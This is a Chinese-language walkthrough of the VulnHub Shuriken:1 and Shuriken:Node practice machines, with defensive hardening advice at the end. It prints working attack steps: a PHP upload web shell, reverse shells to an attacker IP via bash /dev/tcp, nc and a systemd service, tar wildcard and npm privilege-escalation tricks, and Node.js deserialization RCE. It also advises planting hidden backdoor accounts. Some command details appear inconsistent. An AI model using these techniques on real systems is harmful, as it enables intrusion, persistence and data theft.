1. Shuriken系列靶机渗透测试概述
VulnHub的Shuriken系列包含两个精心设计的渗透测试靶机:Shuriken:1和Shuriken:Node。这两个靶机分别展示了不同类型的漏洞利用链和提权技术,非常适合用来练习从信息收集到权限提升的完整渗透流程。作为网络安全从业者,我花了三天时间完整测试了这两个靶机,过程中遇到了不少有趣的挑战,也积累了一些实战经验。
Shuriken:1主要考察Web应用漏洞利用和Linux系统提权技巧,涉及JavaScript敏感信息泄露、文件包含漏洞、Basic认证绕过、ClipBucket文件上传漏洞,以及tar通配符和npm提权等高级技术。而Shuriken:Node则聚焦Node.js反序列化漏洞和系统服务滥用提权,需要更深入理解Node.js应用安全和systemd服务配置。
2. Shuriken:1靶机渗透全流程
2.1 初始信息收集与端口扫描
使用nmap进行基础扫描是渗透测试的标准起点。对于Shuriken:1,我发现开放了80和8080端口,但8080无法访问:
bash复制nmap -sV -T4 192.168.56.247
扫描结果显示目标运行着Apache服务。访问80端口看到一个基础网页,这通常是Web渗透的入口点。作为专业渗透测试人员,我习惯在浏览器中按F12查看页面源码,寻找隐藏线索。
经验分享:现代Web应用经常在JavaScript文件和HTML注释中隐藏开发调试信息,这些都可能成为突破口。
2.2 目录扫描与敏感文件发现
使用dirsearch工具进行目录扫描是Web渗透的关键步骤:
bash复制dirsearch -u http://192.168.56.247/ -e php,html,js -w /usr/share/wordlists/dirb/common.txt
扫描发现了/login.html页面,虽然功能不完善,但查看源码时发现了一个有趣的提示:/secret/secret.png。访问该图片发现提示"javascript is the way"——这明确指向了JavaScript文件分析。
2.3 JavaScript文件分析与子域名发现
在Web渗透中,JavaScript文件常常包含敏感信息。我下载了页面引用的所有JS文件,使用VS Code进行格式化分析:
javascript复制// 格式化后的JS代码片段
const apiConfig = {
broadcastDomain: "broadcast.shuriken.local",
mainDomain: "shuriken.local",
apiEndpoint: "/index.php?referer="
};
发现两个关键子域名后,我立即在攻击机的/etc/hosts文件中添加解析记录:
bash复制echo "192.168.56.247 shuriken.local broadcast.shuriken.local" >> /etc/hosts
注意事项:现代Web应用常采用前后端分离架构,API端点经常在JS文件中暴露。仔细分析JS能发现常规扫描找不到的接口。
2.4 文件包含漏洞利用与Basic认证绕过
访问shuriken.local的子域名时遇到了Basic认证,而另一个子域名存在文件包含漏洞:
bash复制curl "http://shuriken.local/index.php?referer=/etc/passwd"
通过文件包含读取Apache配置文件,定位到Basic认证的密码文件位置:
bash复制curl "http://shuriken.local/index.php?referer=/etc/apache2/sites-enabled/000-default.conf"
找到.htpasswd文件后,使用John the Ripper破解哈希:
bash复制john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
成功获取到developers用户的密码"9972761drmfsls"。
2.5 ClipBucket文件上传漏洞利用
通过认证后,发现系统使用ClipBucket软件。搜索公开漏洞发现存在任意文件上传:
bash复制curl -F "file=@shell.php" -F "plupload=1" -F "name=test.php" \
"http://broadcast.shuriken.local/actions/beats_uploader.php" \
-u developers:9972761drmfsls
上传成功后,访问返回的路径获取反向shell:
php复制// shell.php内容
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.56.109/4444 0>&1'"); ?>
技术细节:ClipBucket的beats_uploader.php未对文件类型做严格检查,导致可以上传PHP文件。这种漏洞在实际CMS中很常见。
2.6 权限提升技术详解
2.6.1 npm提权到server-management用户
查看sudo权限发现可以以server-management身份执行npm:
bash复制sudo -l
利用npm的preinstall脚本特性提权:
bash复制TF=$(mktemp -d)
echo '{"scripts":{"preinstall":"/bin/sh"}}' > $TF/package.json
sudo -u server-management npm -C $TF --unsafe-perm install
2.6.2 pspy64监控与定时任务发现
使用pspy64监控进程,发现定时执行的备份脚本:
bash复制curl -o /tmp/pspy64 http://192.168.56.109/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
2.6.3 tar通配符提权技术
备份脚本使用tar命令,存在通配符注入漏洞:
bash复制cd /home/server-management/Documents
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.109 4444 >/tmp/f' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
2.6.4 符号链接提权变种
另一种方法是创建符号链接读取敏感文件:
bash复制ln -s /etc/shadow /home/server-management/Documents/shadow
等待备份完成后,从/var/backups解压获取shadow文件。
3. Shuriken:Node靶机渗透分析
3.1 Node.js反序列化漏洞利用
靶机首页提示"Node.js vulnerabilities still present this times",结合Cookie格式,判断存在反序列化漏洞:
json复制{"username":"Guest","isGuest":true,"encoding":"utf-8"}
使用nodejsshell.py生成payload:
bash复制python2 nodejsshell.py 192.168.56.109 4444
构造恶意序列化数据:
javascript复制var y = {
rce : function(){/* 生成的payload */}
};
var serialize = require('node-serialize');
console.log(serialize.serialize(y));
在函数体后添加"()"触发代码执行:
bash复制echo "eyJ1c2VybmFtZSI6Il9ybmRzXyJ9()" | base64 -d | node
3.2 横向移动与SSH私钥利用
在/var/backups发现ssh-backup.zip:
bash复制cp /var/backups/ssh-backup.zip /tmp
unzip /tmp/ssh-backup.zip
使用ssh2john转换私钥并破解:
bash复制/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
获取密码后登录serv-adm用户:
bash复制chmod 600 id_rsa
ssh -i id_rsa serv-adm@localhost
3.3 systemd定时服务提权
发现可以控制shuriken-job.service:
bash复制sudo -l
修改服务文件添加反向shell:
ini复制[Service]
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.56.109/9999 0>&1"
重启服务触发:
bash复制sudo -u root /bin/systemctl restart shuriken-auto.timer
4. 渗透测试经验总结与防御建议
4.1 常见漏洞防御措施
-
文件包含漏洞:
- 禁用动态文件包含
- 使用白名单限制包含路径
- 将配置文件放在Web目录外
-
文件上传漏洞:
- 检查文件内容而不仅是扩展名
- 使用随机化文件名
- 将上传文件存储在非Web可访问目录
-
反序列化漏洞:
- 避免反序列化用户输入
- 使用JSON等安全格式替代序列化
- 实现完整性检查
4.2 系统加固建议
-
sudo权限控制:
- 遵循最小权限原则
- 审计所有sudo规则
- 限制危险命令的执行
-
定时任务安全:
- 设置严格的文件权限
- 使用完整路径执行命令
- 监控关键目录的变更
-
SSH安全配置:
- 禁用root登录
- 使用密钥认证
- 定期更换密钥
4.3 渗透测试技巧进阶
-
信息收集深度:
- 不要忽视任何文件,包括图片、JS、CSS等
- 使用多种工具交叉验证结果
- 记录所有发现,即使当时看起来不重要
-
漏洞利用技巧:
- 尝试多种payload变种
- 注意错误消息中的线索
- 结合多个小漏洞形成利用链
-
权限维持方法:
- 创建隐藏后门账户
- 设置SSH authorized_keys
- 部署定期回调的脚本
在实际渗透测试工作中,每个靶机都像是一个精心设计的谜题。Shuriken系列尤其展示了从Web应用到系统层面的完整攻击链。通过这两台靶机的练习,我深刻体会到现代系统安全需要纵深防御的理念,任何一个环节的疏忽都可能导致整个系统沦陷。